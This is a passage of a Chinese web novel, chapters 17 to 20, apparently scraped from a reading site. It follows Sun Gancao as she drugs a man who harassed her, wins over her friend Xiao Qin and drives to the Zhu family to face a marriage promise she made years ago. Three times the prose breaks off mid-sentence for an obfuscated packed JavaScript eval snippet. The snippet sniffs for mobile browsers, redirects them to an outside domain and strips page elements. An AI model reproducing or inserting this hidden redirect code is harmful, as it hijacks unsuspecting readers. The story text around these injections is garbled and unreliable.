平日里看他长得白白胖胖,整天笑呵呵和气生财的样子,没想到也会发那么大的火气。 不过刘老二是他们铁哥们,他生气也很正常。 榆安安听他骂得难听皱了眉。 队伍里有这个本事的人只有孙甘草一个。 可孙甘草不是不讲理的人。榆安安不动声色地皱眉看着昏迷不醒的刘老二,他做什么了?竟然逼得孙甘草用毒了。 “榆队,麻烦你给老二解毒。”王老大是三人中最沉稳的,抱着刘老二郑重请求榆安安救醒他。 榆安安拍拍手站起来。 “过一会儿就醒了。” 见她这冷漠的态度,包括王老大在内的好几人都皱了眉。 “榆队,我们老二也是队伍里的一员,你不能放着他不管。” “要不然试试喷水?”李勇提议。 身边的秀姐看向混在人堆里安静的过分的粽子,他嘴角上扬,双手插兜,眼睛看向屋顶,脚尖轻轻点着地。 就差把“和小爷无关,但小爷知道是谁干的,不会帮你们。”这句话写在脸上了。 齐老三拿了水来,对着刘老二脸喷,榆安安不忍直视地别过脸去。齐老三对着刘老二的脸喷了好几口水也没把人喷醒。 “不行啊大哥,喷了水也没反应。” 榆安安直接丢下他们往外走:“我说过了,过不了多久就会醒,没什么大问题。” 众人沉默地注视她离开的高挑的背影,心中升起淡淡的疑问。 榆队…是不想帮忙解毒还是解不了毒? “秀姐,你出来一下。”走到门口的榆安安喊道。屋内的秀姐迟疑了一下,跟出去了。 其他人要把刘老二抬到屋内去,榆安安见了道:“先把他放在椅子上,等会儿他跟我们一起出去。” 众人沉默不语,但还是照做。 榆安安带着秀姐出了门,走远了一些,阿七亦步亦趋地跟着。 “李野和秦军还没回来?” “李野去茅厕了,秦军…”阿七扫了一圈院子,“他刚刚还在院子里接电话,现在不知道跑去了哪里。” 孙家都是野路子出身,不按规则办事。 榆安安闻言看向秀姐,秀姐对上她询问的视线,点点头。 17. 第 17 章 客栈前面的马路,甘草贴着院墙跑到客栈视野看不到的地方,跑了没多久,就看到同样偷偷跑回来的小秦哥了。 甘草脸上扬起笑脸,欣喜地喊道:“小秦哥!” “小姐!”小秦哥看到甘草也很高兴,脸上露出一样喜悦的笑容。 两人跑到一起,高兴地举手拍了一下。两人认识十几年了,但有好几年没见过面了。 难得以这样的方式单独叙旧。 “小姐,你脸怎么弄的这么脏?快擦擦脸。” “没事,我就是在厨房里躲了一下,才弄成了这样。” 在跑出客栈后,甘草躲到了厨房柴垛里,虽然她现在看不见自己现在的样子,但也闻到了自己身上灰尘的味道。 不过没关系,灰头土脸的有利于她接下来的事,博取同情。 见小秦哥在身上四处找遍了也没找到纸巾,笑着拦住他。小秦哥忙道:“我们先去车上,上了车再洗。” 车上有水和纸巾,方便梳洗。 甘草没有拒绝,跟着小秦哥去他停车的地方,路上问他这几年的近况。 从孙家药铺开到滇云起,小秦哥及其父,还有他大哥就一直留在这边管理生意。 这期间,也只有小秦哥回湖湘老家办事时,两人见过一面。 其实小时候他们俩关系不好,因为半夜在一个地方摸泥鳅打了一架,算是不打不相识。孙家发家以后带飞了一群人,秦家就是其中一户。 小秦哥小时候不爱读书,少年时就辍学了,是跟着孙家以后才见识了外面广阔的世界。所以他对孙家很忠心。 双方节日都有联络,因此距离感不远,两人说完小时候的事,说完近况,那点本就不多的隔阂就消除了大半。 剩下的就是这些年大家有了不小的变化而带来的不可避免的生疏感。 不过,两人还是很快熟络起来。走到小秦哥停车的位置,小秦哥摸了一下车头,对甘草道:“听说小李哥这车花了不少钱,还请人改装了的,开起来特别酷,适合在山区、高原开,等以后我攒够了钱,也搞一辆这样的车。” 甘草看到小秦哥这么羡慕的样子,若有所思。 她笑笑,问了小李哥的车花了多少钱。 甘草对车没有研究也没有特别的喜好,她只要坐着舒服,质量好就成。她不知道小李哥什么时候改装的,改装了哪里。 但看到小秦哥对小李哥的车的喜爱,她觉得接下来可以以此为突破口。 小秦哥对甘草比了个数字,甘草觉得还好,是自己可以随便买的起的车。 “小秦哥,不用慢慢攒钱,我告诉你一个快速买车的法子。” 小秦哥眼睛一亮,立即凑到甘草面前,“小姐,什么法子?” 问完他又快速补充了一句:“不过你也知道我没什么大本事,只会跑跑腿,干点动手动嘴皮子的事,你的法子我能做吗?” 甘草唇角扬起,神神秘秘凑近他。 “上车聊。” “哎,小姐,你这不是故意吊我胃口吗,你就快说吧。我那辆皮卡车都开多少年了,还是我哥他们不要了才给我的,我现在就想有一辆自己的新车。” 甘草知道秦家的情况,秦老头偏心老大,好东西先给老大用,买大哥大、换车都是紧着老大来,可明明秦家买房建房,都是小秦哥出的大头。 也就是小秦哥脾气好又孝顺,才不在乎自己吃亏。 “小姐,来,先擦擦脸。” 小秦哥追着甘草上了车,殷勤地奉上水和纸巾。 甘草从后视镜里看到了自己的花猫脸,面对小秦哥的殷勤也很端得住。 她也是见过大世面的,不会怂。 拿纸巾随意擦了擦唇边的黑印,将水和纸巾都放到一边。 小秦哥很惊讶,“小姐,你怎么不把脸都擦干净?” 甘草自己也嫌弃自己的花猫脸,好在还能忍受。 “我留着这张灰头土脸还有用。先说正事。” 小秦哥巴巴地望着她,甘草对上他小狗看见骨头一样的眼睛有些好笑。 小秦哥是真的很喜欢小李哥的车啊。 “小秦哥,办法很简单,只要你跟着我干,我就送你一辆这样的车,是不是特别容易?” 小秦哥:“…” “小姐,我发誓,我对孙家绝对没有二心!”小秦哥打量甘草的脸色,他怀疑甘草在测试他的忠诚,举起三根手指到耳旁严肃发誓。 甘草哭笑不得,认真道:“小秦哥,我没跟你开玩笑。你觉得我为什么跑出来?还不是因为榆安安非拉着我买个鬼的祭祀品耽误我办正事,我才跑出来的。” 小秦哥观察她脸色,想了想问:“那你为什么把刘老二迷晕?” 在甘草把榆安安等人关起来时,小秦哥和小李哥在客栈上茅厕,等他上完先出来,就看到甘草把刘老二迷晕了跑出来,然后着急忙慌的让他开车引开榆安安他们,等安全了再回来接她。 当时小秦哥以为甘草和榆安安等人打架了,就照着做了。谁知车开出去许久,也不见榆安安等人追他,于是他藏好车就赶了回来。 “刘老二那家伙有毛病!”提到刘老二,甘草就生气,“我往外跑,他非拦着,嘴里不干不净,骂粽子,又调戏我,我没时间和他耗,就把他迷晕了。” 昨晚发生了秀姐和帅哥白河的事后,甘草就在身上藏了迷药和银针。 没有拿出来对付榆安安是因为甘草觉得当时的情况,榆安安能躲过去,二来弄晕榆安安会比较麻烦。 在对付刘老二时,甘草就没那么多顾虑了,直接一把迷药撒过去,就把人迷晕了。 没有解药,八成现在还晕着呢。 “这个刘老二!还敢调戏小姐,小姐你等着,等你们从山里出来,我就叫了人逮住他揍一顿。”小秦哥撸起袖子承诺。 甘草明白小秦哥是为她好、进山之前关系闹太僵对进山后不利。 “没事,我不和他计较了。小秦哥,我就不和你绕圈子了。我们认识这么多年,你了解我,我也了解你。你的情况我清楚,我的情况你现在也看到了。” “我现在要为自己和粽子他们争一条活路出来,你要是愿意,就跟着我干。” “你放心,我肯定比我爸大方,只要等我成功出山,滇云这边总管的位置我留给你,要是我没能成功出来,我就把我的遗产分你五百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841048|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万…小秦哥,你怎么这么看着我?” 小秦哥依旧惊讶地望着她,“只是…觉得小姐好像变了。” 甘草不知道说什么好,她也不想变,可情势所迫,她希望给自己、粽子和小李哥多一点保障。 尤其是粽子家和榆家结下的仇,粽子跟着榆家队伍总归比较危险。 见甘草沉默下来,小秦哥挠挠脑袋也不知道说什么好。 换作以前,小秦哥肯定夸赞甘草成长了,可现在甘草面临生死攸关的境地,不是可以开玩笑、抖机灵的时候。 诚然小秦哥对甘草说的好处很心动,无论甘草成功还是失败,他都不吃亏。 可只要小秦哥想到甘草想造她爸的反,还是拉着他一起,选择甘草,就对不起孙老头和小秦哥自己老爸,小秦哥觉得良心过不去。 但如果他都不帮甘草,还有谁帮她呢? 小秦哥陷入两难境地。 “小姐…”过了许久,小秦哥抓了抓自己的头发开口,“我能为你做些什么呢?” 看着小秦哥不好意思却真诚的样子,甘草忽然意识到自己错了。 利益是最好的磁铁,却吸引不来人心。她妄图用利益打动小秦哥,可小秦哥自始至终都没问她要好处。 这一刻甘草忽然明白了。 吸引人心的永远只是人心。 是她小瞧了小秦哥,也小瞧了自己在他们心中的位置。 “谢谢你,小秦哥。” 她说得那么认真,反而让小秦哥不好意思了。 “嗨。虽然我们不是从小一块长大,但也认识十几年了。甘草,虽然我叫你小姐,但在我心里,你还是朋友。” 是那个每年会送他生日礼物,会在大年夜送祝福、发大红包希望所有人幸福快乐的朋友。 为了这个的朋友,违背自己的良心一次又如何。 小秦哥嘿嘿一笑,挠了挠自己的脑袋。 没想到他会这么说的甘草心里酸酸软软的,眼眶热热的差点哭。 上辈子她一定是个好人,所以这辈子她身边才有那么多好伙伴。 “走,咱们出发!”怕自己哭出来丢脸,甘草一指前面大声喊。 “出发!” 小秦哥又恢复了嬉皮笑脸样,嘿嘿一笑,启动车子开出草垛。 “小姐,你要不要先吃点东西?” “不用,我在厨房里吃了两个烧焦的红薯,啃了一块牛肉。” 至于榆安安打包回来的食物,因为有点冷了,甘草没吃,让小珂玛热了给其他人吃。 “那我们去哪儿?” “朱家。” “哦,朱…什么,朱家?!!” “没错,今天我带你闯一闯朱家!要是能闯过去,咱们孙家滇云的药材铺我全都交给你来管。” “呵呵…呵呵…”小秦哥觉得甘草疯了。 朱家…那可是甘草承诺过婚事的人家。 难不成她想直接躲在朱家不去药神山了? 小秦哥越想越有这个可能。 不过更让小秦哥担心的是,要是小李哥知道是他带着甘草去了朱家,肯定会打死他的,一定会的! . 18. 第 18 章 “小姐,前面那辆车好像是我的车。” 进了巴瓦村的马路,小秦哥眼尖的看到前面快开到朱家宅子前的那辆的破破烂烂的皮开车就是自己那辆车,“榆安安他们怎么到这里来了?” 甘草也已经看到了前面哪辆车,并且一眼认出翘着二郎腿坐在车斗里喝水的男生是她发小粽子。 看车行进的路线,应该也是朱家。 “小姐,是不是榆安安他们知道你要去朱家搬救兵,所以提前赶到前面阻拦你?” 甘草看着前面的车摇头,“不会,这件事我只告诉了你,不会有其他人知道。” 小秦哥听完挺感动,以后他就是小姐手下第一心腹了。 “那他们怎么会跑到这里来?” “上去问问就是了。” 等甘草和小秦哥开着车到了,榆安安他们所开的皮卡车也已经停到了路边,榆安安和小李哥站在车下面等。 粽子高高站在车斗上,还没等车停就远远的问甘草跑都跑了,怎么还自己送上门了。 甘草没理他。车子缓缓停在皮卡车后面,还没停稳,小李哥就大步跑到车前头,一拳头捶在车头上。 “秦军,你把甘草带到这里来做什么?你现在就给我下车!” 小秦哥刚停好车,就看见小李哥的铁拳把车子都砸得抖了三抖,他心疼车子,却不敢和学过武打的小李哥对抗,躲在方向盘后面不敢抬头。甘草没说话,看向走到副驾驶旁的榆安安,放下车窗。 “你…你干什么了?弄得灰头土脸的?”榆安安看到了甘草的花猫脸。 “这不重要。”甘草不在意道。 榆安安看了甘草脏兮兮的脸几眼,猜测她或许是在地上打滚了,虽然不知道原因,但她懒得多管。她瞥一眼拉扯驾驶座车门威逼小秦哥下车的李野,“他又发什么疯,不让你跟…对了,你怎么忽然跑来了?” “死娘们!老子要你好看!”甘草还没来得及回答,皮卡车上忽然扑下来一个人,还没等那人影往前跑,另一道人影就扑倒了那人影背上。 甘草定睛一看,才看清是刘老二要找她算帐,粽子则像猴子一样挂在刘老二背上阻止他。 “小李哥!你快来帮我啊,刘老二这狗东西发疯了,小爷控制不住他!” “死粽子,你给老子滚开!老子今天非要找死丫头算帐,她竟然敢迷晕老子!” 甘草:“…” “你怎么不把他捆起来?”甘草不满地问榆安安。 榆安安瞥一眼甘草:“他刚清醒过来,看见你才开始发疯,我后面还有事情要他办。” 榆安安还真是连昏迷的人都不放过,不过…甘草扫了一眼皮卡车上的秀姐和白河,纳闷。 榆安安买祭祀品带这么多人做什么?而且还需要刘老二这个…甘草没再想,她想起榆安安的话,决定先探探榆安安的口风。 “我听说你们来了这里,所以过来看看。”甘草不动声色地解释。 榆安安惊讶地看着她:“你爸不是说你不愿意来朱家?” “我爸?”甘草忽然想明白了榆安安为什么死活不肯告诉她要去哪里采购祭祀品,非要先把她弄上车,“所以你要采购的是朱家的祭祀品?我爸说我不愿意来朱家,你就想先斩后奏,把我先弄到这里来了再帮你做事?” 榆安安:“…” 她理所当然地点头,“早知道你愿意来,我就不用费那么大劲了。” 看她不以为耻且不认为自己有错的样子,甘草暗骂了一句无耻,直接升起车窗。 “甘草!”帮粽子制服住发疯的刘老二跑回来的小李哥挤开榆安安,按住车窗,“你马上给我回去!” 甘草吓了一跳,忙松开车窗按键,“小李哥,你能不能不要忽然冒出来?我要想事情,你安静一下。” 车外的小李哥:“…我跟你说的话你听到没?” “听到了听到了,你小点声,吵得我脑瓜子疼。” 甘草没想到运气这么背,自己躲着小李哥跑到朱家来求助,还能碰上来这里采购的榆安安,她们俩的目的地竟然一致。 怕真惹小李哥生气,甘草没再关窗。小李哥脸阴沉地看着她,但也没再打扰她想事情。 甘草手托腮,背过身去,不去看小李哥的脸色,冷静地想了想。 榆安安找朱家买祭祀品,她要找朱家帮忙。她们俩要做的事情撞在一起了,不过只要她想办法避开榆安安,还是能继续做自己的事。 可她现在不知道榆家和朱家什么关系,也不知道孙老头有没有出卖她,已经和朱家打过招呼了。 所以她需要先弄清楚榆安安要买什么祭祀品,榆家与朱家究竟是什么关系。否则为什么榆安安非要买朱家的祭祀品? 确定这些才能确定朱家会不会帮她。甘草想明白后,拍了拍小李哥的手臂,“小李哥,你挡住我视线了,你让开点,我和榆安安说几句话。” 小李哥沉着脸看甘草,过了一会儿让开一点位置,榆安安看看小李哥,又看看甘草,问她:“你不能去朱家?” “能去,”甘草随口回答:“只是很多年前我欠下朱家一个大人情,这些年都躲着朱家而已,小李哥只是担心我。” “甘草——”甘草听到小李哥咬牙切齿,没敢再说什么,问榆安安:“你想买朱家的祭祀品?是什么东西?为什么要买他家的祭祀品?买来做什么?” “你知道朱家的凤鸡吗?”榆安安反问甘草。 “什么鸡?” 榆安安无语地看着一脸无知样的她,“算了,看你这样子也不知道。” 甘草:“…”榆安安在鄙视她。 “那你给我说说呗。” 榆安安看着舒舒服服坐在车里的她:“下车聊。” “那不行。”甘草瞟一眼旁边阴沉的小李哥,“下车会被捆回客栈。” “我让阿七拦着他,不会把你怎么样。”阿七一直守在榆安安身后,随时听吩咐。甘草知道阿七冲动归冲动,但身手确实很厉害。 “那更不行了,我不能看着你们欺负小李哥。” 小李哥脸色缓和了点,嘴角带上了一丝笑意。 榆安安无语地看看他们俩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847641|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过她懒得和甘草计较,隔着车窗跟甘草讲。 “朱家养有一种药鸡,取名凤鸡,凤凰的凤。据说朱家受药神山山神庇佑,会用凤鸡祭拜山神,可以保进山的人安全。这次我就是要求他们家的凤鸡。” “凤”鸡?山神庇佑?甘草没想到榆安安竟然还信这些封建迷信。 三岁小孩才信这些吧? 不过甘草确实不知道朱家养什么药鸡。 “小秦哥,你知道朱家的凤鸡吗?”甘草转头问小秦哥。 她知道朱家在滇云很有势力,但其他的确实不如在滇云深耕的小秦哥知道的多。因为她和朱家的情况,小秦哥很少跟甘草将朱家的事。 躲在方向盘后面的小秦哥正竖着耳朵听她们俩说话,被点名后立即抬起头,他一侧头就对上小李哥刀过来的眼神,忙又尴尬地避开。 “小姐,我确实听说过朱家养鸡。”小秦哥侧脸对甘草道:“而且我听说他们这鸡养的极为特别。” “怎么个特别?”甘草好奇问。 “就是他们每月都会不固定的把鸡赶到雪线上面去。”小秦哥想了想道,顾不上小李哥在外面刀他的眼神,兴致勃勃地讲:“小姐,你也知道,朱家的宅子就在药神山山脚下,他们每月有好几次会把鸡赶到雪山上去,不知道赶到干嘛,只是过个几天后,又会把鸡赶回来。” “而且我听说朱家的鸡很金贵,还特别神,可以进出药神山自如,吃了还能消除百病。不过不知道是不是真的,反正我听药铺里的伙计说,朱家的鸡好像只供给他们自己人。外面就是一块肉都捞不到。” “就是有人曾经花上万块想买朱家的鸡,朱家都不卖。” 小秦哥啧啧羡慕,上万块呢,朱家人一点都不敢在眼里,家大业大,不把那点钱当回事,一顿就吃了。 “那鸡毛呢?”甘草下意识顺着话问。 “鸡…鸡毛?” 小秦哥挠挠脑袋,谁管鸡毛啊,鸡毛又不能吃。 “这个我还真不知道。”大概除了甘草,没谁会去关注鸡毛。 甘草也发觉自己关注点偏了,她就是顺嘴一问。 “这什么朱家的鸡这么值钱,就没人偷他们的鸡?”忽然听到旁边皮卡车里的秀姐插嘴问。 她坐在皮开车后座位上,和她并排坐的是帅哥白河。甘草看过去时,正好对上了白河看她的平淡眼神。 甘草克制自己对白河的好奇,没多看白河,收回视线时,注意到榆安安飞快看了秀姐一眼,甘草好奇地看看她们俩。 可两人都没说什么,秀姐对甘草笑笑,甘草虽然感到哪里有点怪,但也没多想。 人为财死,鸟为食亡,一万块一只鸡在甘草看来不值当,但对很多人来说很值钱,值得冒险。 说不定就有不知死活的人冒险偷? “谁敢抢朱家的东西啊?”小秦哥听了秀姐的问话立即脱口而出,“那不是找死么。” 甘草正要点头,就看到秀姐瞟了一眼没说话的榆安安,甘草觉得有点奇怪,但又不知道哪里奇怪,想了一会儿没想明白,就丢下不管了。 19. 第 19 章 小秦哥不敢相信有人敢偷朱家的的鸡。要知道朱家在滇云尤其是本村那是树大根深,前脚有陌生人进村,后脚人家可能就收到消息了。 就好比大家踏进巴瓦村的那一刻,朱家肯定就收到消息了。 就算不顾死活有幸偷到了人家的鸡,也逃不出巴瓦村。 甘草也记得曾经听孙老头说过,巴瓦村以前好像算是朱家的部曲。 朱家是汉族搬迁到这里来的,因此保留了许多汉族的文化习惯。 小秦哥道:“而且我听说他们养鸡的地方特殊,赶鸡上山的路也很隐蔽艰险,同时赶鸡的人都带着枪,普通人就是敢下手也没机会啊。” 甘草问格外沉默的榆安安:“你还没说你们家和朱家的关系。” 有什么想法从脑海里飞快闪过,但因为太快,她没能抓住。 榆安安好似刚回过神,抬起眼皮看一眼甘草,“我只是听我母亲说过,我们榆家祖上和朱家祖上有关,算是同出一脉。不过两家基本没有往来,而且关系也不睦,所以才找你们孙家帮忙。” 作为孙家小姐,甘草的面子肯定比其他孙家管事的面子大,可甘草却不知道榆安安原来是打的这个如意算盘。 可惜榆安安恐怕要失望了。 孙家和朱家只有生意往来,没有太多私交。 孙家只有孙老头进过朱家家门,且只进去过一次,据孙老头自己说,他和朱家当家人只是喝喝茶,谈谈当兵时候的事。 朱家当家人当年也是从军的一人,而且是带着朱家一部分有为的年轻人去投的兵。 据说退下来时,已经在军中有很高的位置了。 朱家当家人不爱应酬交际,一直深居简出,别说甘草亲自来,就是孙老头亲自来,也未必见得着朱家当家人。 说起朱家那极为特别的凤鸡,甘草忽然想起路上看到的朱家商标。 一个神秘的戴面纱的女子骑在龙身上,肩膀上卧着一只似凤非凤,似鹰非鹰,神采奕奕充满灵性的鸟。 甘草扭头问小秦哥:“小秦哥,朱家商标上的那神秘女子肩膀上的鸟是不是就是指的朱家的凤鸡?” “小姐,你真聪明,一猜就对了!”小秦哥激动地拍了一下方向盘,兴奋地手舞足蹈,“就是鸡!” 甘草:“…” 她理解小秦哥为什么这么激动,因为当年他们一直猜测那神秘女子肩上神气活现的鸟是神鸟或者老鹰,是朱家的图腾象征。 高原山区,草原雄鹰,却没想到朱家商标上被他们以为的神秘鸟其实是一只家禽。 小秦哥兴致高昂地讲述:“我知道的时候也是大吃一惊。你说那么神气的一只鸟,看起来就不凡,怎么会是鸡呢?不过也怪他们画得太好了,我们都没认出来。” “后来我想想,朱家有汉族的血脉,是汉族搬迁到这里的,也就不奇怪了。说不定就代表了咱们汉族的农畜业呢?” 甘草脑海里回忆起自己刚刚在路上看到过的朱家药铺的商标。 想着那鸡真的代表的是农畜业吗?还没想明白,就听榆安安冷酷地下命令了。 “说完了吗?说完了就可以走了。”榆安安见甘草和小秦哥没话说了,站起身往皮开车走。 “谁说她要去了。”甘草还没回答,旁边等了半天的小李哥就先提甘草回答了,他敲了敲甘草坐的位置的车顶,“孙甘草,现在回去,否则我打晕你带你回去!” 甘草在想其他事情。 她刚从榆安安口中套出榆家和朱家关系可能不睦的话,也就是说榆安安挡不住她要做的事。 不过还不确定孙老头有没有和朱家打过招呼,所以甘草决定先跟着榆安安去朱家探探情况。静观其变。 要是朱家没有联合孙老头坑她,她就依旧找朱家帮忙。 要是朱家联合孙老头坑她…那甘草就能更理直气壮地提要求了。 “小李哥,我知道你是为我好。可是你知道我欠了朱家的人情,而且我去有言在先,怎么能言而无信?我知道你平生最讲忠义信用,我要是一直逃避,就成了背信弃义的人。你难道要让我变成这样的无情无义之人吗?以后,我们孙家还怎么和朱家合作?” 甘草认真对小李哥道:“小李哥,我们不能不讲信用,人家朱家对我们已经很不错了。” 甘草的话说中了小李哥最在意的事。她清楚小李哥的弱点在哪里,也可以说那是小李哥做人的准则。 忠诚信义。 可遵守诺言需要甘草拿自己下半辈子的幸福去换。小李哥看着甘草,大手蜷缩,扣紧车顶,手背上的青筋暴起,他脸色青了白,白了青,渐渐变成了通红。 做人的道义和甘草的婚姻大事在小李哥脑海里如同两个铁锤一样哐当哐当撞击,撞得他耳鸣目眩,痛苦不堪,脑门渐渐起了一层细汗。 “甘草——”小李哥无法作出选择,抓住甘草的手央求。 “小李哥,我知道你不放心我,但这是我自己的选择。”甘草不去看小李哥痛苦的样子,硬下心抽出手,按下车窗,“你留在这里吧。小秦哥,开车。” “孙甘草!孙甘草!”小李哥不肯轻易放手,甘草伸出另一只手打了一下方向盘,车子猛地转向另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853716|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,小李哥的手被挣脱。 “小秦哥,开车!” 小秦哥不敢看后面,踩了一下油门。车子极速冲出去,把小李哥缓缓甩在了后面。 “孙甘草!你给我回来!” 甘草升起车窗,背对着所有人,没有回头,绝尘而去。 她听不到小李哥的呼喊了,但小李哥的呼喊一直萦绕在她脑海里。 她不仅响起很多年前,自己私自跑到朱家,用自己的婚事作为交换,请求朱家帮忙时,小李哥也是这么大骂她。 不过那时候小李哥没那么凶。或许是他们都长大了,才明白了结婚和幸福之间的关系。 可是她不能因为年少无知、年少轻狂就否认自己曾经许过的诺言,而让另外一个友善的少年失望。 今天,甘草决定面对曾经许诺过的自己,也面对从来没有逼迫和强求过她的朱家,她要在今天与那个无人敢轻易冒犯的朱家,做一个了结。 . 甘草车子开出去老远了,榆安安等人才回过神,粽子最先反应过来,丢下“唠嗑”完终于不再闹腾找甘草算帐的刘老二,跑到小李哥面前。 “小李哥,棒槌究竟欠了朱家多大的人情?值得你这么拦着她去朱家?” 多大的人情?小李哥恍惚地想,下半辈子幸福的人情,该是多大呢? 小李哥望着那辆自己的车越走越远,渐渐看不到车影了,痛苦地抱住头蹲下。 “她欠下的是天大的人情,谁也帮不了她。” 见他这么难过,其他人也不知说什么是好。榆安安皱着眉没说话,粽子沉下脸猴子一样窜上驾驶座,启动车子。 阿七脸色一变,飞快拉起榆安安的手爬上车斗。 在他们刚踩上车斗,车子轰地开了出去,粽子去追甘草了。阿七有惊无险地扶着他家大小姐坐下,忍不住骂了一句脏话。 要是他再慢点,决定会被粽子这狗东西扔在这里不管了。距离朱家还有两三里地,自己走过去需要不少时间。 皮卡车上的刘老二看着蹲在地上才反应过来的小李哥“啧”了一声,他撇撇嘴没说难听的话。 他觉得李野既可怜,又没种,是男人就应该像小白脸死粽子这样追上去,虽然可能做不了什么,也不会成功,但男人不应该软弱,就应该有事顶上去。 倒是孙甘草,让刘老二有点刮目相看,一个娘们比男人还有胆。 既然知道欠下别人天大的人情,还是一家不好惹的人家,却敢不避不让,主动上门,是个狠丫头。 刘老二觉得自己都有点佩服孙甘草了。 20. 第 20 章 斜阳高照,天高云淡,蜿蜒曲折的村路上,两辆车相继飞驰而过。 崭新的越野车显然性能更好,远远将哐哐当当的皮卡车甩在后面。 粽子追了一会儿也没追上甘草他们,咬牙切齿地远远在后面跟着。 甘草看了后面一眼,就扭回头看向前面。 她知道粽子知道了情况不会让她去朱家,可这一趟她必须去。 “小秦哥,开快点。” 驾驶座上开车的小秦哥叹气应了一声,踩了一脚油门。 甘草知道他为何这样,但她没再多解释。 这是她自己做出的决定,不需要再向任何人征求意见。 那不是一个大小姐该做的事。 越野车快速转过一道弯,忽然,小秦哥压低上半身仔细盯着前面,“小姐,朱家门口的那个人是不是巴图?” 甘草看过去时,正好对上朱家门口那年轻藏族小伙扫视过来的锐利目光。 甘草着实惊诧,五年前那个当年纯真友善的少年如今竟然有了这样如雄鹰一样的气势。 打开车窗任由对方打量自己。 五年不见。 她变了许多,对方可能没有第一时间认出来她。甘草也没能第一时间认出他来。 古堡式碉房大门前小山一样雄壮的藏族小伙,穿一身寻常藏族服饰,腰上别了一把手枪和短腰刀。站在门口颇具万夫莫开的气势。 深邃的五官,干净的眼眸,高原上特有的高原红,皮肤粗糙黝黑,是个成熟迷人的藏族小伙了。 甘草记得第一次见巴图时,他也是这样的打扮,不过那时候他腰上没有手.枪,只有一把打猎的短刀。 不过那时候他身材不胖不瘦,神采奕奕,是个纯真温柔的少年。和现在有很大不同。 五年不见,甘草忍不住在心里感慨一句:时光流逝,每个人都在变化,而巴图的藏族血脉也终于压倒了他的汉族血脉,成长为了一个毫无疑问的藏族男儿。 巴图可能也认出她来了,只是不确定,所以一直盯着她看没有其他举动。 甘草不明白巴图为什么会提前在门口等着,决定等到了再问。 车子一个漂亮的漂移后刹停,准确地盯在巴图不远处。 甘草打开车门,怀着忐忑的心情扬起微笑,跳下车。 “甘草妹妹,真的是你!”巴图疾步走到甘草面前,露出灿烂热情的笑容,“刚刚我还以为自己看错了。” 甘草心想自己顶着一个花猫脸,又长大了许多,巴图一时间没认出来也很正常。 看着巴图的友善笑容,甘草心底那点忐忑就消失了,彻底松了口气。 “巴图哥哥,好久不见。” “是很久没见了,从五年前你回湖湘,就没见过了。”巴图视线定在甘草的花猫脸上,从身上摸出手帕递给甘草,“你怎么弄成这个样子了?是不是摔跤了?” 甘草面羞愧地低下头去,想起五年前的事。 当时孙家生意出现重大危机,她求到朱家面前,请朱家放行,让孙家可以在滇云顺利收购药材。 朱家是滇云最大的药材商,且很有威望,要在滇云做药材生意,首先需要取得他们家的同意。 为此,甘草拿出自己的婚事或者以后成为名医后,给朱家打工作为交换,感谢朱家的恩情。 那时候朱家的当家人朱舍人当时就站在此刻他们所在的位置后面的院墙里的碉房楼顶上,他居高临下地看着那时才十四岁的她,威严又洒脱地笑话她:“年少气盛,倒是有几分骨气,行吧,老子就看看你能不能成为名医,到时候,你再来见老子。” 朱家人大多数都是汉藏混血,他们一族一直保留汉族传统,从小学习汉族文化,而且连说话都是先学汉话。 当时的甘草对朱家了解还不多,只知道朱家有钱有势力,还很傲气。 见到了以后才发现朱舍人不怒自威,远远看着就能感受到他身上的威压。 不过那时候的甘草年少无知,根本没有等级概念。 她咬牙找到朱家交易就没想过自己会输或者做不到,不愿意退缩。 于是面对气势吓人的朱舍人,她不卑不亢,权衡利弊,镇定自如的说自己有学医天赋,能认百药,等以后学成了给朱家打工,肯定能助朱家一臂之力。 又说自己没有婚约,要是朱家不嫌弃,她以后也可以给朱家当儿媳妇。 十四岁的年纪,没把自己的婚姻大事当回事,而以当时孙家的情况,甘草毫不犹豫选择了交换。 到现在,甘草都没想过自己当时为什么那么有勇气,比现在的自己坚韧多了。 回忆结束,甘草回归现在。 在朱家帮助了孙家之后,可她没有兑现自己的诺言,还没有任何交代的逃了五年。 甘草没脸见巴图和朱舍人,但又不得不来见,她总不能一直逃避下去。 甘草摇摇头,没接手帕。 “对不起,巴图哥哥,这几年我都没有给你们打电话,也没有兑现我的承诺,我什么都没做到。” 说着,甘草眼眶一热,就湿润了。 她低着头,实在是没脸见当年见证自己少年意气,言辞澎湃的朱家人。 她无法说明自己所经历的一切,只能尽量承担自己所做过的一切。 